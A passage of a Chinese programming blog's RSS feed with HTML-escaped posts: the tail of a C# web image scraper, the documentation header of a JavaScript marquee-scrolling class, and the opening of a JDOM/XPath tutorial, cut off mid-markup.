/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public int SaveImageFromWeb(string imgUrl, string path)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; string imgName = imgUrl.ToString().Substring(imgUrl.ToString().LastIndexOf("/") + 1);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; path = path + "\\" + imgName;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; string defaultType = ".jpg";&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; string[] imgTypes = new string[] { ".jpg", ".jpeg", ".png", ".gif", ".bmp" };&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; string imgType = imgUrl.ToString().Substring(imgUrl.ToString().LastIndexOf("."));&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; foreach (string it in imgTypes)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (imgType.ToLower().Equals(it))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; break;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (it.Equals(".bmp"))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; imgType = defaultType;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; try&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; HttpWebRequest request = (HttpWebRequest)WebRequest.Create(imgUrl);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; request.UserAgent = "Mozilla/6.0 (MSIE 6.0; Windows NT 5.1; Natas.Robot)";&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; request.Timeout = 10000;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; WebResponse response = request.GetResponse();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Stream stream = response.GetResponseStream();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (response.ContentType.ToLower().StartsWith("image/"))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; byte[] arrayByte = new byte[1024];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int imgLong = (int)response.ContentLength;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int l = 0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // CreateDirectory(path);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; FileStream fso = new FileStream(path, FileMode.Create);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; while (l &amp;lt; imgLong)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int i = stream.Read(arrayByte, 0, 1024);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; fso.Write(arrayByte, 0, i);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; l += i;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; fso.Close();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; stream.Close();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; response.Close();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return 1;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; else&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return 0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; catch (WebException)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return 0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; catch (UriFormatException)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return 0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #ff6600;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;}&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #99cc00;"&gt;//-----------------调用代码--------------------&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #ff6600;"&gt;GatherPic gatherpic = new GatherPic(&amp;ldquo;http://www.baidu.com&amp;rdquo;,"C:\test");&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #ff6600;"&gt;//请确保c:\下存在test路径&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #ff6600;"&gt;gatherpic.start()&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=156</guid><pubDate>Sat, 28 Mar 2009 12:39:43 GMT</pubDate></item><item><title>[JS]通用不间断滚动JS封装类</title><link>http://www.chendw.cn:8080/view.aspx?id=155</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;pre&gt;/*MSClass (Class Of Marquee Scroll通用不间断滚动JS封装类) Ver 1.65*\　制作时间:2006-08-29 (Ver 0.5)　发布时间:2006-08-31 (Ver 0.8)　更新时间:2007-12-28 (Ver 1.65)　更新说明: + 加入功能 * 修正、完善 1.65.071228  * 横向、纵向滚动格式调整 (解决横向滚动换行的问题，无需特殊设置)  * 彻底解决由于IE问题导致上下滚动页面留白的问题 (本次更新主要解决此问题,感谢天上的书生参与测试) 1.6.070131  + 禁止鼠标控制暂停或继续 (将第9个参数设置为-1或者动态赋值将ScrollSetp设置为-1)  + 判断是否可以滚动 (若内容区域小于显示区域,则自动取消滚动)  + 跳过初始化错误 (避免引起其它滚动的停止)  + 默认值 (除容器ID必选外，其他参数均可根据情况进行选择设置)  + 参数动态赋值 (方向可用英文表示top|up|bottom|down|left|right,使其更直观、方便)  * 文字滚动不准确 (本次更新主要目的解决此Bug,感谢周珺参与测试) 1.4.061211  + 鼠标悬停改变滚动方向 (鼠标悬停控制左右滚动)  * 由于文档下载过慢而导致获取的高度/宽度不准确  * 浏览器兼容问题 (IE、FF、Opera、NS、MYIE) 1.2.060922  + 指定范围间歇滚动  * 程序调整  * 连续间歇滚动停止的错误 1.0.060901  + 向下、向右滚动  + 开始等待时间  + 连续滚动  * 调整时间单位  * 滚动误差  * 随机死循环  * 加强性能  * 程序优化 0.8.060829    翻屏不间断向上、向左滚动　演示地址:&lt;a href="http://www.popub.net/script/MSClass.html"&gt;http://www.popub.net/script/MSClass.html&lt;/a&gt;　下载地址:&lt;a href="http://www.popub.net/script/MSClass.js"&gt;&lt;font color="#ff0000"&gt;http://www.popub.net/script/MSClass.js&lt;/font&gt;&lt;/a&gt;　应用说明:页面包含&amp;lt;script type=&amp;quot;text/javascript&amp;quot; src=&amp;quot;MSClass.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;  创建实例:  //参数直接赋值法  new Marquee(&amp;quot;marquee&amp;quot;)  new Marquee(&amp;quot;marquee&amp;quot;,&amp;quot;top&amp;quot;)  ......  new Marquee(&amp;quot;marquee&amp;quot;,0,1,760,52)  new Marquee(&amp;quot;marquee&amp;quot;,&amp;quot;top&amp;quot;,1,760,52,50,5000)  ......  new Marquee(&amp;quot;marquee&amp;quot;,0,1,760,104,50,5000,3000,52)  new Marquee(&amp;quot;marquee&amp;quot;,null,null,760,104,null,5000,null,-1)  //参数动态赋值法  var marquee1 = new Marquee(&amp;quot;marquee&amp;quot;) *此参数必选  marquee1.Direction = &amp;quot;top&amp;quot;; 或者 marquee1.Direction = 0;  marquee1.Step = 1;  marquee1.Width = 760;  marquee1.Height = 52;  marquee1.Timer = 50;  marquee1.DelayTime = 5000;  marquee1.WaitTime = 3000;  marquee1.ScrollStep = 52;  marquee1.Start(); 参数说明:  ID  &amp;quot;marquee&amp;quot; 容器ID  (必选)  Direction (0)  滚动方向 (可选,默认为0向上滚动) 可设置的值包括:0,1,2,3,&amp;quot;top&amp;quot;,&amp;quot;bottom&amp;quot;,&amp;quot;left&amp;quot;,&amp;quot;right&amp;quot; (0向上 1向下 2向左 3向右)  Step  (1)  滚动的步长 (可选,默认值为2,数值越大,滚动越快)  Width  (760)  容器可视宽度 (可选,默认值为容器初始设置的宽度)  Height  (52)  容器可视高度 (可选,默认值为容器初始设置的高度)  Timer  (50)  定时器  (可选,默认值为30,数值越小,滚动的速度越快,1000=1秒,建议不小于20)  DelayTime (5000)  间歇停顿延迟时间(可选,默认为0不停顿,1000=1秒)  WaitTime (3000)  开始时的等待时间(可选,默认或0为不等待,1000=1秒)  ScrollStep (52)  间歇滚动间距 (可选,默认为翻屏宽/高度,该数值与延迟均为0则为鼠标悬停控制,-1禁止鼠标控制)　使用建议:  1、建议直接赋予容器的显示区域的宽度和高度，如(&amp;lt;div id=&amp;quot;marquee&amp;quot; style=&amp;quot;width:760px;height:52px;&amp;quot;&amp;gt;......&amp;lt;/div&amp;gt;)  2、建议为容器添加样式overflow = auto，如(&amp;lt;div id=&amp;quot;marquee&amp;quot; style=&amp;quot;width:760px;height:52px;overflow:auto;&amp;quot;&amp;gt;......&amp;lt;/div&amp;gt;)  3、为了更准确的获取滚动区域的宽度和高度，请尽可能将各滚动单位直接赋予正确宽高度  4、对于TABLE标记的横向滚动，需要对TABLE添加样式display = inline，如(&amp;lt;div id=&amp;quot;marquee&amp;quot; style=&amp;quot;width:760px;height:52px;overflow:auto;&amp;quot;&amp;gt;&amp;lt;table style=&amp;quot;display:inline&amp;quot;&amp;gt;......&amp;lt;/table&amp;gt;&amp;lt;/div&amp;gt;)  5、对于翻屏滚动或间歇滚动，要注意各滚动单位间的间距，同时需要对容器的可视高度和可视宽度做好准确的设置，对于各滚动单位间的间距可以通过设置行间距或者单元格的高宽度来进行调整  6、对于LI自动换行的问题暂时没有更好的解决办法，建议将其转换成表格(TABLE)的形式来达到同等的效果  7、针对横向滚动的文字段落，如果最末端是以空格&amp;quot; &amp;quot;结束的，请将空格&amp;quot; &amp;quot;转换成&amp;quot; &amp;quot;  8、鼠标悬停滚动思想源自Flash，所以有一定的局限性（容器内仅允许用图片&amp;lt;img&amp;gt;或者带链接的图片&amp;lt;a&amp;gt;&amp;lt;img&amp;gt;&amp;lt;/a&amp;gt;的形式，并需要禁止其自动换行）　感　　谢: &lt;a title="下载ASP代码加密工具" href="http://www.skycn.com/soft/40329.html" target="_blank"&gt;&lt;font color="#ff0000"&gt;ASP代码加密工具&lt;/font&gt;&lt;/a&gt; 作者:天上的书生(QQ:30370740) (IE页面留白的Bug) 2007/12/22 周珺 zhoujun#yuchengtech.com (文字滚动跳行的bug) 2007/01/31 自本程序发布以来，收到不少朋友的邮件，提出了很多意见和建议，感谢大家的支持！\***程序制作/版权所有:崔永祥(333) E-Mail:zhadan007@21cn.com 网址:http://www.popub.net***/&lt;/pre&gt;&lt;strong&gt;PCAS (Province City Area Selector 省、市、地区联动选择JS封装类) Ver 2.01 数据压缩完整版&lt;/strong&gt; &lt;a href="http://www.popub.net/script/pcas.html"&gt;&lt;font color="#ff0000"&gt;演示及下载&lt;/font&gt;&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;strong&gt;不间断滚动应用实例演示:&lt;/strong&gt; &lt;a href="http://www.popub.net/script/MSClass.js"&gt;&lt;font color="#ff0000"&gt;下载&lt;/font&gt;&lt;/a&gt;&lt;br&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=155</guid><pubDate>Tue, 15 Jul 2008 06:39:00 GMT</pubDate></item><item><title>JDOM处理XML快速上手--结合XPATH</title><link>http://www.chendw.cn:8080/view.aspx?id=154</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;p style="margin: 0cm 0cm 0pt; text-align: left; mso-pagination: widow-orphan" class="MsoNormal" align="left"&gt;&lt;strong&gt;&lt;span style="font-size: 12pt;  mso-font-kerning: 0pt; mso-bidi-"&gt;XPATH&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style="font-size: 12pt;  mso-font-kerning: 0pt; mso-bidi-"&gt;基础&lt;span&gt;&lt;br&gt;&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;span style="font-size: 12pt;  mso-font-kerning: 0pt; mso-bidi-"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; XPATH&lt;/span&gt;&lt;span style="font-size: 12pt;  mso-font-kerning: 0pt; mso-bidi-"&gt;遵循文档对象模型&lt;span&gt;(DOM)&lt;/span&gt;的路径格式，基本语法由表达式构成。在计算表达式的值之后产生一个对象，这种对象有以下四种基本类型：节点集合、布尔型、数字型和字符&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0cm 0cm 0pt; text-align: left; mso-pagination: widow-orphan" class="MsoNormal" align="left"&gt;&lt;span style="font-size: 12pt;  mso-font-kerning: 0pt; mso-bidi-"&gt;串型。&lt;span&gt;XPATH&lt;/span&gt;基本上和在文件系统中寻找文件类似，如果路径是以&lt;span&gt;&amp;quot;/&amp;quot;&lt;/span&gt;开头的，就表明该路径表示的是一个绝对路径，这和在&lt;span&gt;UNIX&lt;/span&gt;系统中关于文件路径的定义是一致的。以&lt;span&gt;&amp;quot;//&amp;quot;&lt;/span&gt;开头&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0cm 0cm 0pt; text-align: left; mso-pagination: widow-orphan" class="MsoNormal" align="left"&gt;&lt;span style="font-size: 12pt;  mso-font-kerning: 0pt; mso-bidi-"&gt;则表示在文档中的任意位置查找。&lt;span&gt;&lt;br&gt;&lt;/span&gt;以样例&lt;span&gt;XML&lt;/span&gt;文档（&lt;span&gt;friends.xml&lt;/span&gt;）为例来了解&lt;span&gt;XPATH&lt;/span&gt;：&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0cm 0cm 0pt; text-align: left; mso-layout-grid-align: none" class="MsoNormal" align="left"&gt;&lt;font face="Times New Roman"&gt;&lt;span style="font-size: 12pt; background: white; color: teal; mso-font-kerning: 0pt; mso-highlight: white"&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: black; mso-font-kerning: 0pt; mso-highlight: white"&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin: 0cm 0cm 0pt; text-align: left; mso-layout-grid-align: none" class="MsoNormal" align="left"&gt;&lt;font face="Times New Roman"&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;&amp;lt;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: maroon; mso-font-kerning: 0pt; mso-highlight: white"&gt;friends&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: red; mso-font-kerning: 0pt; mso-highlight: white"&gt; comment&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;=&amp;quot;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: black; mso-font-kerning: 0pt; mso-highlight: white"&gt;Friends List&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;&amp;quot;&amp;gt;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: black; mso-font-kerning: 0pt; mso-highlight: white"&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin: 0cm 0cm 0pt; text-align: left; mso-layout-grid-align: none" class="MsoNormal" align="left"&gt;&lt;font face="Times New Roman"&gt;&lt;span style="font-size: 12pt; background: white; color: black; mso-font-kerning: 0pt; mso-highlight: white"&gt;&lt;span style="mso-tab-count: 1"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;&amp;lt;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: maroon; mso-font-kerning: 0pt; mso-highlight: white"&gt;friend&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: red; mso-font-kerning: 0pt; mso-highlight: white"&gt; number&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;=&amp;quot;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: black; mso-font-kerning: 0pt; mso-highlight: white"&gt;1&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;&amp;quot;&amp;gt;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: black; mso-font-kerning: 0pt; mso-highlight: white"&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin: 0cm 0cm 0pt; text-align: left; mso-layout-grid-align: none" class="MsoNormal" align="left"&gt;&lt;font face="Times New Roman"&gt;&lt;span style="font-size: 12pt; background: white; color: black; mso-font-kerning: 0pt; mso-highlight: white"&gt;&lt;span style="mso-tab-count: 